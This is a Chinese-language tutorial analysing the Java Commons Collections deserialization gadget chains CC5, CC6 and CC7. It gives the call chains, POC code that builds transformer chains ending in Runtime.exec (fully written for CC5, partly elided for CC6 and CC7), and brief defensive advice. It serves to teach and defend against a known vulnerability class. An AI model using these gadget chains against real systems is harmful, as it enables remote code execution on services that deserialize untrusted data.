通俗易懂的Java Commons Collections 5、6、7分析
字数 1174 2025-08-03 16:50:23
Java Commons Collections 反序列化漏洞分析(CC5-7)
概述
本文详细分析Java Commons Collections反序列化漏洞中的CC5、CC6和CC7利用链。这些漏洞存在于Apache Commons Collections库中,允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。
CC5分析
环境要求
- JDK 1.8 (特定版本8u76且无安全管理器)
- Commons Collections 3.1
利用链
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
关键类介绍
TiedMapEntry
- 有两个参数:Map类型和Object类型
- 关键方法:
getValue()和toString()
BadAttributeValueExpException
- 只有一个
val参数
POC分析
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(outerMap, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
// 通过反射设置val字段
Field val = Class.forName("javax.management.BadAttributeValueExpException")
.getDeclaredField("val");
val.setAccessible(true);
val.set(poc, tiedmap);
触发流程
BadAttributeValueExpException.readObject()读取序列化数据- 调用
TiedMapEntry.toString() toString()调用getValue()getValue()调用LazyMap.get()get()触发ChainedTransformer.transform()- 通过一系列反射调用最终执行命令
CC6分析
环境要求
- JDK 1.8
- Commons Collections 3.1
利用链
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
POC分析
// 构造两个Transformer数组
Transformer[] fakeTransformers = new Transformer[] {...}; // 测试用
Transformer[] transformers = new Transformer[] {...}; // 实际执行
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(outerMap, "foo");
HashSet hashset = new HashSet();
hashset.add(tiedmap); // 这里会触发一次RCE
outerMap.remove("foo"); // 移除key以便后续触发
// 通过反射替换transformers
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
触发流程
HashMap.readObject()反序列化- 调用
put()方法 - 调用
hash()方法 - 调用
TiedMapEntry.hashCode() - 调用
getValue() - 调用
LazyMap.get() - 触发
ChainedTransformer.transform() - 执行命令
CC7分析
环境要求
- JDK 1.8
- Commons Collections 3.1
利用链
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
POC分析
Transformer[] fakeTransformers = new Transformer[] {};
Transformer[] transformers = new Transformer[] {...}; // 实际执行
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 创建两个LazyMap
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1); // "yy"和"zZ"的hash相同
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1); // 第一次put
hashtable.put(lazyMap2, 2); // 第二次put会触发RCE
// 反射替换transformers
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
lazyMap2.remove("yy"); // 移除key避免equals返回false
触发流程
Hashtable.readObject()反序列化- 调用
reconstitutionPut()两次 - 第二次调用时进入
equals比较 - 调用
AbstractMap.equals() - 调用
LazyMap.get() - 触发
ChainedTransformer.transform() - 执行命令
总结
CC5-7利用链的共同特点是通过各种途径调用LazyMap.get()或类似方法,最终触发ChainedTransformer.transform()执行恶意代码。关键点包括:
- 利用Java反序列化机制触发调用链
- 通过反射设置关键字段值
- 精心构造对象关系确保调用流程
- 注意hash冲突和key处理等细节
防御措施:
- 升级Commons Collections到安全版本
- 使用Java反序列化过滤器
- 避免反序列化不可信数据